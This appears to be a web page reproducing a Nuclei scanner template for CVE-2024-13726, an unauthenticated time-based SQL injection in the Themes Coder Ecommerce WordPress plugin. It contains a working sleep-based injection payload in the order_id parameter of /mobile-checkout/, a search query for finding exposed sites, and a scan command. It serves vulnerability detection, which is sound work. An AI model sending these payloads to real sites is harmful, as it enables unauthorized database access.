Skip to content

Themes Coder Ecommerce <= 1.3.4 - SQL Injection

ID: CVE-2024-13726

Severity: high

Author: s4e-io

Tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,sqli,tc-ecommerce,timebased-sqli

The Themes Coder Ecommerce WordPress plugin through 1.3.4 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

id: CVE-2024-13726
info:
name: Themes Coder Ecommerce <= 1.3.4 - SQL Injection
author: s4e-io
severity: high
description: |
The Themes Coder Ecommerce WordPress plugin through 1.3.4 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
reference:
- https://wpscan.com/vulnerability/ec226d22-0c09-4e7c-86ec-b64819089b60/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13726
metadata:
verified: true
max-request: 2
vendor: themescoder
product: tc-ecommerce
framework: wordpress
fofa-query: body="wp-content/plugins/tc-ecommerce/"
tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,sqli,tc-ecommerce,timebased-sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "tc-ecommerce")'
internal: true
- raw:
- |
@timeout 20s
GET /mobile-checkout/?order_id=(select*from(select(sleep(6)))a) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100d2cd786497954e6bb562195883555979c0ca54aa3e5bf238912d4c4f00b3721a0220414a1694ab915767f847e00f4f54684fed73f92330b39021fa104e3d59cc6da1:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-13726.yaml"

View on Github